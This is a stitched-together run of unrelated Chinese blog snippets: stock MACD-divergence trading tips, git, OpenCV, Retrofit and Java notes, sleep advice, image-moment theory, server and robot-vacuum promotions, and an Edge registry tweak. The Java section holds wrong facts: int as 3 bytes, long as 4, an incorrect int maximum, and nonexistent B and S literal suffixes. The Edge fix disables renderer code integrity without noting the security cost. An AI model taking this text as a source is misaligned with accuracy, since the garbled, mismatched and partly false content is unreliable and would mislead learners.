一般指量价顶背离,顾名思义,价格创新高,但量没有新高,这种情况下,预示着市场的动能不足,将难以持续新高,多被视为见顶。
这种技术分析适合于盘子比较大的白马股,对于市值小的小盘股不适用。
文字比较抽象,找个例子感受一下。
如上图,蓝思科技在一波上涨之后开始调整,调整充分后反弹了一波,量价背离定义是价格新高量没跟上,注意,价格新高是相对的,并不一定会高于前高。在反弹这一波,价格基本接近前高了,但是成交量相对于前高附近却是不足的,这里就可以理解为量价背离,加上上影锤子K线,以及MACD的顶背离,可以断定这是短期顶部了,此时应该兑现,不能买入或死守,因为不知道会调整多久。MACD背离:
在K线中,也主要使用的是MACD顶背离,底背离实用意义不大,就不展开讲解了。
顾名思义,MACD顶背离就是价格新高,但MACD指标没有新高。注意,这里的新高是相对的。
如上图,蓝思科技反弹这一波价格接近前高处,MACD是没有跟上的,并且还是处于下降趋势,MACD能量柱也都是绿的,这里就可以理解为MACD顶背离,同样,这是短期顶部信号,要兑现,不能买入。
不同指标的背离基本会同时出现,量价背离伴随着MACD的背离。
对于上图蓝思科技这一波的反弹行情,个人习惯于称之为背离行情,也就是趋势股调整充分后的反弹行情。背离行情是可以做的,并且做得好肉也是不少的,只是要在见顶的时候果断离场,不要陷入调整。
综上,阐述了量价背离和MACD背离,背离技术的意义有2点: 1、让我们认识到个股行情的阶段,是主升阶段,还是背离反弹阶段; 2、让我们识别出顶部,及时兑现。
对于趋势股,如何判断一段趋势之后的调整是调整充分了呢?
1、缩量。
2、反转K线。(主要是小K线堆积,对于K线认知不足的同学,请翻阅日本蜡烛图技术那本书);
3、基本上会调整到20日线附近,击穿20日线的概率较多。
当然技术分析并不是绝对的,是相对的,可以指导我们在胜率较大的位置出击。
注意,这种分析一定是要适合业绩驱动的行业白马股,并不是适合所有的趋势股。
比如近期的医药疫苗类个股就不适合,比如复星医药,西藏药业等,这类个股更多的是题材属性,非长期业绩驱动,对于疫苗股,康希诺的上市就是兑现,并且随着疫情的控制,长期逻辑也消失。
所以,这些白马股之所以能走趋势,都是有业绩驱动的,技术分析只是在此基础上,更好的指导我们的交易。【PART2】分时中的MACD背离
分时中的背离可以指导买卖操作。
对于卖,分时股价新高但MACD没跟上,基本就是一个分时高点。
对于买,分时股价新低但MACD没有新低,基本上就是一个分时买点。注意,技术分析是相对的,在情绪高涨的时候高点之后还有高点,也就是即便MACD顶背离了,后面还是会有高点。 在情绪低潮时,低点之后还有低点,即便MACD底背离了,但还会有低点,比如今天的行情。
所以,在情绪周期的初期,即便MACD顶背离,也是可以考虑多拿一拿的,当然,顶背离的位置兑现也是没错的。
在情绪的退潮期,本身就不是适合进攻买入的阶段。
在阴末阳初的时候,分时中参考底背离做低吸是可以的。
分时MACD背离对于成交额大的趋势股或短线个股都是可以用的。
如上图,感受下MACD的顶背离。
个人不喜欢去抄底,所以基本不会参考MACD的底背离作为买点。
但是在情绪周期的阴末阳初,会参考指数的MACD的底背离,去博弈一些人气个股,因为阴末阳初,指数反转一般也意味着情绪的反转,甚至向上共振。
在退潮期,就是防守,一切技术分析的意义都不大。
像今天的指数,已经底背离了,就是低点了吗?未必。
退朝初期,低点之后或还有低点。 综上,虽然说技术分时是相对的,有一定的局限性,但依然是可以很好的指导我们的交易的。 如果是做中长线,业绩是驱动力,如果是短线,情绪周期是主导,但无论如何,技术分析的辅助作用也是不可缺失的。
篇幅有限,写的也比较随意,抛砖引玉。
问题描述: unable to checkout working tree warning: Clone succeeded, but checkout failed. You can inspect what was checked out with 'git status' and retry with 'git restore --source=HEAD :/'
无法签出工作树警告:克隆成功,但签出失败。您可以使用“git status”检查签出的内容,然后使用“git restore–source=HEAD:/”重试
通俗来说就是文件名太长,无法签出工作树警告:克隆成功,但签出失败。
解决 运行cmd:
git config --system core.longpaths true 如果出现上图的错误:
error: could not lock config file C:/Program Files/Git/etc/gitconfig: Permission denied
当前Windows登录用户没有 该文件的权限,需要添加权限
1. Switch 参考文献:
Simulink switch模块的使用方法 对于Switch Case与If使用类似,具体可参考这篇博文:Simulink学习——switch-case语义的实现(switch-case子系统)
2. If及If Action Subsystem Number of inputs:输入端口的数目If expression:If判断条件Elseif expressions:else的判断条件,多个else用逗号分隔Show else condition:显示Else分支的输出信号 使用注意: 即使动作没被触发,状态也会被默认初始化为0,切记切记!!!
案例:
adjustViewBounds属性用于调整ImageView的边界,使得ImageView和图片有一样的长宽比例。一般要配合maxWidth、MaxHeight使用。 当ImageView的宽高都是固定值的时候,adjustViewBounds属性无效 当ImageView的宽高都设置为wrap_content的情况,adjustViewBounds也是无效的 如果本文对您有所帮助,麻烦点个赞,谢谢!
报一下我的配置,VS2015+opencv3.2.0+3.19.2
目标:Opencv+opencv_contrib-4.2.0完全成功
cMake基本操作这里就不说了,都能搜到,这里主要讲几个注意的地方:
1、添加opencv_contrib扩展库时,需要添加opencv_contrib-4.2.0文件的路径,注意用单斜杠“/”(跟其他路径的格式一样就行),后注意把OPENCV_ENABLE_NONFREE的复选框选上
2、Configureing done之后,不管有没有爆红,去生成的工程路径下,找到CmakeDownloadlog.txt这个文件,打开看看有什么报错
一般情况下,有以下的报错问题,都是网络问题导致的文件下载缺失,例如下面第1项缺少ippicv_2019_win_intel64_20180723_general.zip,根据文中的下载链接https://raw.githubusercontent.com/opencv/opencv_3rdparty/32e315a5b106a7b89dbed51c28f8120a48b368b4/ippicv/ippicv_2019_win_intel64_20180723_general.zip
下载完成之后,修改名称为1d222685246896fe089f88b8858e4b2f-ippicv_2019_win_intel64_20180723_general.zip,替换文件../.cache/ippicv/1d222685246896fe089f88b8858e4b2f-ippicv_2019_win_intel64_20180723_general.zip
此外,还有下面这种报错
去相应的网址,https://raw.githubusercontent.com/opencv/opencv_3rdparty/34e4206aef44d50e6bbcd0ab06354b52e7466d26/boostdesc_bgm_hd.i,打开之后如下图,Ctrl+S保存之后,替换相应的文件
回到cMake重新Configure,再打开CMakeDownloadLog,如下图没有任何报错问题,就可以单击Generate按钮生成工程文件了。 然后继续,先编译ALL_BUILD,然后再编译INSTALL。
3、编译的时候,我这边出现一个比较罕见的问题,如下所示,大概是ade项目出问题了
找了一些地方问了一下,大概是VS2015版本的问题,我的是vs2015 update1,更新到vs2015 update3重新编译OpenCV工程文件就可以了,更新方法:vs->工具->扩展和更新,弹出的对话框里面找并下载即可。
插一句,半路出家,为难我们这些人了
背景图来源:livery情景专属小红图片
解决Okhttp的Response#body()#string()后Response返回体为空问题,在使用livery可以很容易的避免返回空null值无法解析的问题,这一点后面《几行代码带你实现网络请求》中会统一处理
这次废话少说,直接开始Retrofit注解参数介绍,
Retrofit网络请求参数详解@Path、@Query、@QueryMap(含文件上传下载) Retrofit通过注解的方式,进行网络请求。根据功能分类,注解可以分为:
图1:Retrofit注解类型 为了方便大家操作测试和下篇《拥抱Livery2:几行代码带你实现网络请求(含上传下载)》内容介绍,请直接依赖livery库(包含了最新RxJava+Retrofit)
dependencies { implementation'com.sunsta.livery:livery:1.1.11' } 一:请求方法类: 1GET 2POST 3PUT 4DELETE 5PATCH 6HEAD 7OPTIONS 8HTTP 1.GET、POST、PUT、DELETE、PATCH、HEAD、OPTIONS、
HTTP 可以代替上面7个
2.分别对应 HTTP 的请求方法;(最后的HTTP除除外)
3.接收一个字符串表示接口 path ,与 baseUrl 组成完整的 Url;
4.可以不指定,结合@Url 注解使用;
5.url 中可以使用变量,如{id} ,并使用@Path("id") 注解为{id}提供值;
6.对于编号8,HTTP的使用方法如下:
有 3个属性:method、path、hasBody public interface RetrofitService { @HTTP(method = "get", path = "new{id}", hasBody = false) Call<ResponseBody> getNew(@Path("id") int id); } 下面围绕以上8个请求方法进行一一介绍 版权声明CopyRight: 本内容作者:sunst,转载或引用请标明出处 ,违者追究法律责任!!! 初始化Retrofit String BASE_URL = "http://102.10.93.69/api/"; Retrofit retrofit = new Retrofit.
原因 安装的时候没选好组件
解决办法 1.打开VS Installer
2.修改
3.单个组件
4.找个别人的安装视频,看看人家都勾哪了(我也瞎几把勾的)
5.选完之后修改等安装完后就有了
睡觉前至少1个小时洗个热水澡,等到你的身体逐渐变凉,这种方法将帮助你入睡。
如果你正在为失眠症困扰,那么睡眠限制计划,绝对是一个值得考虑的选择,关键是,当你在卧室逗留的时候,你只能睡觉,
并且保证每天在同一时间起床。
如果睡眠不足,就打个盹吧,对我们大多数人来说, 最佳的打盹时间是下午两点到五点。
睡眠一共分为5个阶段
第一阶段我们觉得昏昏欲睡
第二阶段我们进入轻度睡眠
第三 第四阶段我们将进入深度睡眠
第五阶段我们会做梦,这时我们的眼睛将快速地运动
5个阶段形成一个周期,每个周期会持续大约一个半小时,健康的夜间睡眠,通常要经历4-6个周期。不论哪个周期的睡眠被打断
,都有可能影响我们集中注意力的能力,从而造成情绪的不稳定,损害我们的长期健康。
咖啡因的摄取,会延长我们的入睡时间,在一开始,深度睡眠就可能被抑制,醒来的次数可能会更多。酒精的摄取,通常会快速地入睡 ,我们深度睡眠的时间会更多,但到了下半夜,醒着的事件会更长,因此尽管酒精能帮我们入睡,但它不能帮我们保持睡眠。喝酒和咖啡,夜间睡眠都被打乱。确保你的身体,正常地完成睡眠的五个阶段, 这对你的身心健康十分重要,要保持完整的睡眠周期,最好的办法是平均每天睡八个小时,睡前避免酒和咖啡。
眼睛和人体生物钟之间的关系,以前,科学家们简单的以为:灯光的照射会让我们醒来,但在2002年,他们证实,眼睛后部有一组全新的接受细胞,将有助于控制我们的睡眠模式,当灯光射进我们的眼睛,到达眼球后部的视网膜时,视网膜里的微小细胞所含有的色素,将对日光做出反应,这些细胞会把信号传送给大脑,此时大脑将调节褪黑素的分泌,血液里
褪黑激素的水平决定了你是昏昏欲睡,还是保持完全清醒,晚上,身体分泌睡眠褪黑激素将逐渐增加,它将帮助我们入睡,当日光透过窗帘洒进房间时,一场接力赛在大脑里开始了,虽然眼睛还未打开,视网膜里的细胞,已经开始对蓝色的光做出反应,他们向大脑的生物钟发出信号,提醒松果腺减少睡眠褪黑激素的分泌,因此身体就会更加警觉,并且开始清醒过来,根据这个原理如果把窗帘关得严严实实,阻挡日光射入,我们就能确保一觉睡到天亮,反之也可以利用光线对大脑的作用,让自己在午夜时分醒来,
一般用蓝光灯模拟日光。
饮食对睡眠的影响:
富含碳水化合物的饭菜,会让我们增加睡意,当碳水化合物在胃里消化时, 它们会释放胰岛素,胰岛素能帮助色氨酸进入大脑,然后色氨酸会转化为5-色胺 ,5-色胺 会让人产生睡意,摄取蛋白质会产生与碳水化合物相反的效果, 蛋白质转化成氨基酸,氨基酸将阻止色氨酸进入大脑,因此让人产生睡意的5-色胺将相应减少 ,人们就会变得更加警醒。
因此,如果你想要消除时差,记得在下次长途飞行的过程中,试着禁食(16小时),当你抵达目的地之后,在第一个正常的就餐时间进食,
肌肉紧绷、放松训练
如果你无法入睡,并且你想在上床前放松身体,那么在睡前进行15分钟的肌肉紧绷、放松练习,这个简单有效的方法,能帮你更快地入睡,
薰衣草、頡草 ,能够帮助人们入睡。
今天我们来说一说数据可视化,想必很多人在入门数据分析之后,就会经常进行可视化的工作,所谓一图胜千言,图表用的好,真的是会事半功倍的。但现实情况下,很多人遇到的问题是:
你做的图表太丑了?你做的图表到底想表达什么?图表太多,该用哪一个更好呢?
很多人看着下面这些高级上档次的数据可视化都觉得羡慕,但是到自己动手的时候又不知从何下手,或者实现难度太大,只能“望图兴叹”。今天小编介绍6款图表工具,希望各位以后做数据分析不用愁!
1.uCharts 高性能跨平台图表库,支持H5图表、APP图表、小程序图表(微信小程序、支付宝小程序、百度小程序、头条小程序、QQ小程序、360小程序),支持饼图、圆环图、线图、柱状图、区域图、雷达图、圆弧进度图、仪表盘、K线图、条状图、混合图、玫瑰图、漏斗图、词云图、地图。
2.HQChart HQChart是第1个基于国内传统PC股票客户端软件(C++)移植到js/py平台的一个项目, 包含K线图图形库及麦语法(分析家语法)指标执行器.
js版本的K线图形库支持原生js,VUE, uniapp,小程序.
3.GraphVis 一个较为完善的图可视化引擎,支持自定义的可视化效果,集成多种经典网络布局算法,社区发现算法,路径分析算法,方便使用人员或开发者快速构建自己的图可视化分析应用。
应用于知识图谱可视化,复杂网络可视化分析,关系图可视化,网络拓扑图,布局算法,社区发现算法等可视化场景。 可以作为 network,graph,knowlegegraph,neo4j,gephi等扩展工具可视化分析web版本的核心库。
4.DataV Vue数据可视化组件库(类似阿里DataV,大屏数据展示),提供SVG的边框及装饰、图表、水位图、飞线图等组件,简单易用,长期更新(React版已发布)
DataV是干什么的?
DataV是一个基于Vue的数据可视化组件库(当然也有React版本)提供用于提升页面视觉效果的SVG边框和装饰提供常用的图表如折线图等飞线图/轮播表等其他组件 5.F2 移动端可视化方案 F2 是一个专注于移动,开箱即用的可视化解决方案,完美支持 H5 环境同时兼容多种环境(Node, 小程序,Weex),完备的图形语法理论,满足你的各种可视化需求,专业的移动设计指引为你带来最佳的移动端图表体验。
6.SmartChart SmartChart是基于Echarts的微代码开发平台,适用于任何WEB项目,比拖拽开发更方便简单, 敏捷, 高效,通用化, 高度可定制化, 让你的项目瞬间档次提升完全真正打通前后端, 图形数据联动, 筛选开发毫无压力积木式的开发模式, 开箱即用, 安装简单, 依赖少, 适应各种平台我们让简单和通用化不再是个矛盾体, 请加入我们共建生态, Like it Star it 结尾 本期就分享到这里,我是小编南风吹,专注分享好玩有趣、新奇、实用的开源项目及开发者工具、学习资源!
希望能与大家共同学习交流,欢迎关注我的公众号**【Github导航站】**。
往期推荐 太漂亮了!有了3款开源图标库,不用再去求设计师了
10个相见恨晚的vue.js库!用好了,事半功倍!
太及时了!13个Spring Boot练手项目,用好了,升职涨薪不用愁
程序员接私活必备后台框架,不用重复造轮子,网友:太好用了!
还在从头到尾撸项目?这6个SpringBoot项目用好了,事半功倍!
「00后缩写黑话翻译器」登上GitHub热榜,中年网民终于能看懂年轻人的awsl
数据类型在计算机语言里面,是对内存位置的一个抽象表达方式,可以理解为针对内存的一种抽象的表达方式。接触每种语言的时候,都会存在数据类型的认识,有复杂的、简单的,各种数据类型都需要在学习初期去了解,Java是强类型语言,所以Java对于数据类型的规范会相对严格。
Java基本数据类型
数据类型是语言的抽象原子概念,可以说是语言中基本的单元定义,Java语言提供了八种基本类型。六种数字类型(四个整数型(默认是int 型),两个浮点型(默认是double 型)),一种字符类型,还有一种布尔型。
一、整数类型:
byte、short、int、long都是表示整数的,只不过他们的取值范围不一样。
1、byte:
byte数据类型是8位、有符号的,以二进制补码表示的整数;(256个数字),占1字节。最小值是-128(-2^7);最大值是127(2^7-1);默认值是0;
byte类型用在大型数组中节约空间,主要代替整数,因为byte变量占用的空间只有int类型的四分之一;
例子:byte a = 100,byte b = -50。
2、short:
short数据类型是16位、有符号的以二进制补码表示的整数,占2字节。最小值是-32768(-2^15);最大值是32767(2^15 - 1);
Short数据类型也可以像byte那样节省空间。一个short变量是int型变量所占空间的二分之一;
默认值是0;
例子:short s = 1000,short r = -20000。
3、int:
int数据类型是32位、有符号的以二进制补码表示的整数;占3字节。最小值是-2,147,483,648(-2^31);最大值是2,147,485,647(2^31 - 1);一般地整型变量默认为int类型;默认值是0;
例子:int a = 100000, int b = -200000。
4、long:
long数据类型是64位、有符号的以二进制补码表示的整数;占4字节。最小值是-9,223,372,036,854,775,808(-2^63);最大值是9,223,372,036,854,775,807(2^63 -1);这种类型主要使用在需要比较大整数的系统上;默认值是0L。
可以看到byte和short的取值范围比较小,而long的取值范围太大,占用的空间多,基本上int可以满足我们的日常的计算了,而且int也是使用的最多的整型类型了。在通常情况下,如果JAVA中出现了一个整数数字比如35,那么这个数字就是int型的,如果我们希望它是byte型的,可以在数据后加上大写的 B:35B,表示它是byte型的,同样的35S表示short型,35L表示long型的,表示int我们可以什么都不用加,但是如果要表示long型的,就一定要在数据后面加“L”。
二、浮点型:
浮点型包括单精度浮点型(float)和双精度浮点型(double)。double型比float型存储范围更大,精度更高,所以通常的浮点型的数据在不声明的情况下都是double型的。
1、float (单精度浮点型)
一个float 32位,占用4个字节,例3.2F,默认是0.0f, 3.402823e+38 ~1.401298e-45(e+38表示是乘以10的38次方,同样,e-45表示乘以10的负45次方)。
2、double (双精度浮点型)
一个dobule 64位 占用8个字节,例3.2,默认是0.0, 1.797693e+308~4.9000000e-324 占用8个字节
boolean:
boolean数据类型表示一位的信息;
只有两个取值:true和false;
这种类型只作为一种标志来记录true/false情况;
默认值是false;
例子:boolean one = true。
1 矩 矩是概率与统计中的一个概念,是随机变量的一种数字特征。设 X为随机变量,C为常数,则E[(x−c)^k]称为X关于C点的k阶矩。比较重要的两种情况如下:
(1) c=0,这时a_k=E(X^k)称为X的k阶原点矩;
(2) c=E(X),这时μ_k=E[(X−EX)^k]称为X的k阶中心矩。F(x,y)的(p+q)阶原点矩为 :
一阶原点矩就是期望,一阶中心矩μ_1=0,二阶中心矩μ_2就是X的方差Var(X)。在统计学上,高于4阶的矩极少使用,μ_3可以去衡量分布是否有偏,μ_4可以衡量分布(密度)在均值矩阵的陡峭程度。
2 不变矩 图像识别的一个核心问题是图像的特征提取,简单描述即为用一组简单的数据(数据描述量)来描述整个图像,这组数据越简单越有代表性。良好的特征不受光线、噪点、几何形变的干扰,图像识别技术的发展中,不断有新的描述图像特征提出,而图像不变矩就是其中一个,矩是描述图像特征的算子,如今矩技术已广泛应用于图像检索和识别 、图像匹配 、图像重建 、数字压缩 、数字水印及运动图像序列分析等领域。常见的矩描述子可以分为以下几种:几何矩、正交矩、复数矩和旋转矩。从图像中计算出来的矩通常描述了图像不同种类的几何特征如:大小、灰度、方向、形状等。
针对一幅图像,我们把像素的坐标看成是一个二维随机变量(X, Y),那么一副灰度图可以用二维灰度图密度函数来表示,因此可以用矩来描述灰度图像的特征。
不变矩(Invariant Moments)是一种高度浓缩的图像特征,具有平移、灰度、尺度、旋转不变性,由M.K.Hu在1961年首先提出。1979年M.R.Teague根据正交多项式理论提出了Zernike矩。opencv中提供的API用来计算中心矩和Hu矩,它分为了两个函数:moments()函数用于计算中心矩,HuMoments函数用于由中心矩计算Hu矩。
3 原理 3.1原点矩 大小为MxN的数字图像f(x,y)的二维(p+q)阶原点矩定义为(离散化):
其中p,q=0,1,2,是整数,f(x,y)为坐标点(x,y)的灰度值。
零阶矩: 图像的原点矩表示的是图像灰度的总和
一阶矩: 图像的一阶矩m10和m01表示用来确定图像的灰度中心
二阶矩: 二阶矩有三个,m11 m02 m20,也成为惯性矩。它们可以确定物体的几个特性:
(1)二阶中心矩用来确定目标物体的主轴,长轴和短轴分别对应最大和最小的二阶中心矩。可以计算主轴方向角。
(2)图像椭圆:由一阶、二阶矩可以确定一个与原图像惯性等价的图像椭圆。所谓图像椭圆是一个与原图像的二阶矩及原图像的灰度总和均相等的均匀椭圆。使得主轴与图像的主轴方向重合,一边分析图像性质。
三阶矩及以上:对于三阶或三阶以上矩,使用图像在轴或轴上的投影比使用图像本身的描述更方便。
三阶矩:投影扭曲,描述了图像投影的扭曲程度。扭曲是一个经典统计量,用来衡量关于均值对称分布的偏差程度。
四阶矩:投影峰度,峰度是一个用来测量分布峰度的经典统计量。可以计算峰度系数。当峰度系数为0时,表示高斯分布;当峰度系数小于0时,表示平坦的少峰分布;当峰度系数大于0时,表示狭窄的多峰分布。
3.2 各阶矩的物理意义:
普通矩:
0阶矩(m00):目标区域的质量
1阶矩(m01,m10):目标区域的质心
2阶矩(m02,m11,m20):目标区域的旋转半径
3阶矩(m03,m12,m21,m30):目标区域的方位和斜度,反应目标的扭曲
但是目标区域往往伴随着空间变换(平移,尺度,旋转),所以需要在普通矩的基础上构造出具备不变性的矩组—hu矩。
3.3构造平移不变性–中心距 相应的(p+q)阶中心距定义为
式中p=0,1,2,和q=0,1,2,3,,,,。其中质心坐标为:
由于我们选择了以目标区域的质心为中心构建中心矩,那么矩的计算时永远是目标区域中的点相对于目标区域的质心,而与目标区域的位置无关,及具备了平移不变性。
3.4构造尺度不变性–归一化 为抵消尺度变化对中心矩的影响,利用零阶中心矩u00对各阶中心距进行归一化处理,得到归一化中心矩由ηpq表示:
其中p+q=2,3,4,。
由上文可知,零阶矩表示目标区域的质量(面积),那么如果目标区域的尺度发生变化(缩小2倍),显然其零阶中心矩也会相应变小,使得矩具备尺度不变性。
若将m00看做图像的灰度质量,则(i¯,j¯)为图像的质心坐标,那么中心矩μpq反映的是图像灰度相对于其灰度质心的分布情况,可以用几何矩来表示中心矩0~3阶中心矩与原点矩的关系如下:根据中心距的定义很容易计算出u10,u01=0
3.5 构造旋转不变性–Hu矩 由二阶矩和三阶矩可推出如下七个不变矩组,他们在图像平移,旋转和比例变化时保持不变:
3.6不变矩的应用过程一般包括: a. 选择合适的不变矩类型;
b. 选择分类器(如神经网络、最短距离等);
c. 如果是神经网络分类器,则需要计算学习样例的不变矩去训练神经网络;
d. 计算待识别对象的不变矩,输入神经网络就可得到待识别对象的类型,或者计算待识别对象不变矩与类别对象不变矩之间的距离,选择最短距离的类别作为待识别对象的类别。
可以看出,不变矩作用主要目的是描述事物(图像)的特征。人眼识别图像的特征往往又表现为“求和”的形式,因此不变矩是对图像元素进行了积分操作。
高防IP是针对互联网服务器在遭受大流量的DDoS攻击后导致服务不可用的情况下,推出的付费增值服务,用户可以通过配置高防IP,将攻击流量引流到高防IP,确保源站的稳定可靠。(无需转移数据,理论上任何主机都可以使用高防IP来防护DDOS攻击。) 高防IP原理:
用户购买高防IP,把域名解析到高防IP上(web业务只要把域名指向高防IP 即可。非web业务,把业务IP换成高防IP即可)同时在高防IP上设置转发规则;所有公网流量都会走高防IP,通过端口协议转发的方式将用户的访问通过高防IP转发到源站IP,同时将恶意攻击流量在高防IP上进行清洗过滤后将正常流量返回给源站IP,从而确保源站IP稳定访问的防护服务。
因而通常用户购买的服务器都是针对ip来进行防御和管理,在租用服务器后,服务商会提供一个ip给用户,如果该ip出现异常流量时,机房中的硬件防火墙的策略仅仅只能设置很少的策略来帮助个别用户去进行防御,防御不住会进行封IP,甚至封机,导致业务无法正常开展,防御效果不是很理想,所以说使用高防IP,高防IP可以针对不同的业务类型从而设置不同的策略进行防护,减少用户业务损失!
高防服务器主要是指独立单个硬防防御50G以上的服务器,可以为单个客户提供安全维护,总体来看属于服务器的一种,根据各个IDC机房的环境不同,有的提供有硬防,有使用软防。简单来说,就是能够帮助网站拒绝服务攻击,并且定时扫描现有的网络主节点,查找可能存在的安全漏洞的服务器类型,都可定义为高防服务器。
增加生活幸福感的扫地机器人从千元到几千元不等,那该如何选择一款适合自己家的呢,看看这15款热门机器人测评,并Get这六项指标就懂了。
一、侦测系统 侦测系统能帮助扫地机器人感知家居环境内的物品,并辅助扫地机器人对家居环境进行构图。一般分为红外线侦测和仿生超声波雷达侦测系统。前者反应快但对黑色和透明物体不敏感。而后者具有较强的方向性,精度也较高,且任意颜色障碍物能正确识别并进行规避。
现市面上有结合二者的双侦测系统,选时留意是否有双侦测系统。
二、 电机类型 好的电机转速高、吸力大、噪音小、耗能低等。相比老式的有刷电机,无刷电机的这些特点较明显,因此在挑选扫地机器人时注意是否安装有无刷电机。
三、 清洁能力 判断扫地机器人的清洁能力是否好关键看电机类型、吸力大小。无刷电机能够为扫地机器人提供强劲的吸力,并降低运行噪音。
四、地图建设 市场主流的定位系统包括无线载波室内定位、vSLAM图像位移定位和RPS激光导航定位,一般的扫地机器人会采用其中一种定位模式,即在挑选的时候要注意是否具备以上的定位系统,否则你会发现你的扫地机器人在清扫时四处乱撞。 五、续航能力 续航是一个扫地机器人进行工作的前提保障。有些扫地机器人打扫五分钟充电两小时,而有些却能单次打扫180㎡的房子也依旧活力满满,则选择的时候要留意续航时间。
六、 噪音大小 扫地机器人在运行时是通过电机运转来驱动和吸尘,在这过程中不免会产生噪音,在选择时当然是选噪音分贝越低的扫地机器人。
七、扫地机选购Tips 扫地机器人选择要根据家里环境,如家里物品多,角落不方便清扫的要选双侦测系统,且要大吸力,远距离也能把灰尘吸干净。如只是十平米简单的出租屋则清扫能力一般就行。如家有多层楼,则要选记忆功能好的,如你工作很忙则要选能远程控制的,选的时候要结合环境和需求。
以上这些都是我之前挑选扫地机做的功课,那时也是好纠结,但是后面发现根据参数比较,选择也没那么难。
我家东西多,清洁不便,重点是要选吸力大的,然后还能预约清洁,上班忙也不担心没时间,当时预算3K之内,综合比较后入了360扫地机器人X95,用了两三周后觉得还是有个扫地机方便省心,我用APP来运作,hin是简单,选择要清扫的模式,扫地或拖地,或扫拖一起都行,随自己选。这款是激光+超声波融合导航,能清楚感知家里的环境,以前没留意的角落,它都可以帮你打扫得干干净净,近期要入的可以去了解看看。
@RequestMapping(value="/save") public ModelAndView save(PrintWriter out) throws Exception{ ModelAndView mv = new ModelAndView(); mv.addObject("extraData", "这这这"); mv.setViewName("xxx"); return mv; } jsp 页面中文显示乱码(???),查找原因发现控制器方法上有参数 PrintWriter out,
去掉这个参数就没问题了。
原因待分析
这个标题上网一搜,大量的文章说使用注解@JsonIgnore,但是这个注解并不是屏蔽掉返回数据中的某个字段
而是直接屏蔽掉某个字段的序列化以及反序列化,这就意味着你的程序不但不会返回这个字段了,在接收参数的
时候这个字段的值也接收不到了
因此只想屏蔽返回的某个字段的话要用@JsonProperty 注解(已验证)
据说这个问题是jackson2.6开始的 但是我用的事1.8.8版本........
在新版本里(2.9.0以后的某个版本)需要采用如下设置(我用不到未验证,只在这里记录一下,万有有人用到了呢)
@JsonProperty(access = JsonProperty.Access.WRITE_ONLY) 可接收参数,而不会序列化字符串
@JsonProperty(access = JsonProperty.Access.READ_ONLY) 可序列化为字符串,而不会接收
在使用AutoCAD绘图软件的时候,如果不小心把CAD菜单栏隐藏了,有多数同学都不在在哪,一些时候操作CAD,突然的命令栏就不见了,对于CAD的编辑操作十分不便,CAD菜单栏怎么调出来?下面,小编给大家讲解CAD命令栏不见了调出来的技巧。
在使用CAD绘图软件的时候,例如最害怕的就是快要做完的时候出现各种各样的问题,在制作图纸的过程中,命令行用于输入命令,显示命令参数,如果发现CAD菜单栏不见了应该怎么办呢?下面,小编给大家分享CAD命令栏不见了调出来的经验。
CAD命令栏不见了怎么调出来
方法一:快捷方式法
打开cad,进入到cad操作界面,发现下面的命令栏不见了,对于操作十分不便。
调命令栏电脑图解1
在键盘上按住“ctrl+9”,这样就弹出了命令菜单,拖动命令栏的左边处,拖动它,将其固定到下面。
命令栏不见了电脑图解2
这样就完美还原了命令栏了。
调命令栏电脑图解3
方法二:间接操作法
点击菜单栏的“工具”。
调命令栏电脑图解4
在弹出来的看工具栏目中,点击“命令行”。
CAD电脑图解5
命令栏被调出来,这时候可以继续进行cad的相关操作。
命令栏电脑图解6
以上就是CAD命令栏不见了调出来的步骤。
我相信您一定已经阅读了很多文章,其中包含一些技巧来加快WordPress网站的速度,但收效甚微。这主要是因为许多WordPress用户依靠前端加速黑客而忽略了WordPress部署环境。因此,对于许多用户而言,更快的服务器线路是网站加载速度更快的第一步。
为什么香港服务器是最快的WordPress部署环境之一?
服务器设置(硬件,操作系统和软件包等)
香港服务器支持和兼容多种服务和软件(例如Apache,NGINX,MySQL / MariaDB等),它们有助于更快的WordPress部署环境。建议使用Apache和/或Nginx支持的最新PHP版本进行部署设置,并受SSL证书保护。所有这些结合在一起,可以在性能和安全性方面充分利用。
服务器响应时间
服务器响应时间是Web部署服务器响应访问者请求所花费的时间。有时,它也被称为第一个字节的时间(TTFB)。因此,如果您正在寻找更快的WordPress部署环境,则服务器响应时间是您必须始终牢记的重要统计信息。服务器响应时间越短,加载网页所需的时间就越少。通过Webpagetest或任何其他工具测试网站时,您将把TTFB(服务器响应时间)视为一项重要指标。根据Google指南,网站的TTFB不应超过200ms。而香港服务器的采用多种BGP网络线路可以根据用户的使用情况智能调优所以延时低速度快
服务器与访客之间的距离
在选择WordPress部署服务提供商之前,请确保其提供的数据中心距离您的目标受众最近。这将有助于减少等待时间并改善服务器响应时间(TTFB)。结果,您的访问者将获得更快的网站页面加载速度。对于中国大陆地区的用户来说使用香港服务器的优势在于不少香港机房支持CN2直连网络所以能够有效缩短线路的中转节点提升网络质量。
部署资源
随着您业务的持续增长,流量的增加是预期的(也是受欢迎的)结果。举个例子:如果您的一个电商网站并推出特别优惠,则访问者的数量会急剧增加。结果,服务器将不得不响应不断增长的访问者请求,但是如果Web部署服务器无法满足所有这些请求,则访问者可能会看到“ 500 Internal server error”。而香港服务器带宽充足,不少专业的香港服务器支持弹性网络和硬件配置能够根据用户的数量进行定制
根据网上方法排查,发现80%以上无非就是以下几个解决方法
error_page 405 =200 $uri;
Java环境变量的自己安装, 手动输入容易错误。复制黏贴可以,据说现在的公司去面试,是给你一台空电脑,然后自己安装Java环境变量还有开发软件。环境变量,
没问题了,后面多练习几遍,就熟练了,犹如开车。也就是个流程,技术。 3步走,JAVA-HOME 变量名字,然后保存的位置。第二,classpath,第三,path,都是复制粘贴进入就行了。 环境变量的设置里面。 masql的安装成功。 按照提示安装的。 以及相关的知识点学习,还有path的课程学习。 Java的语法学习。
错误详情STATUS_INVALID_IMAGE_HASH 解决 其中一个解决方法:谷歌/Edge浏览器"STATUS_INVALID_IMAGE_HASH"错误状态码解决办法
总的来说是根据给的方法修改注册表:
进入 \HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge(没有就新建)
然后新建DWORD(32位),将名称改为RendererCodeIntegrityEnabled,值为0
原标题:十分钟理解线性代数的本质
我在上个月修了数值矩阵运算这门课 (Numerical Matrix Computing),对矩阵的变换和一些性质有了一定的理解。
在这里总结一下自己的研究的一些心得。
在经过了这次的学习之后,我由衷地感慨,我以前学的线性代数是什么鬼呀!
最近由于选修博士的课程《矩阵运算》。所以我重新在网上恶补了一遍《线性代数》的基本概念[1],对这门课有了全新的认识。
现在想想我大学学的线性代数,我真的会感慨,我之前都在学些什么呀!
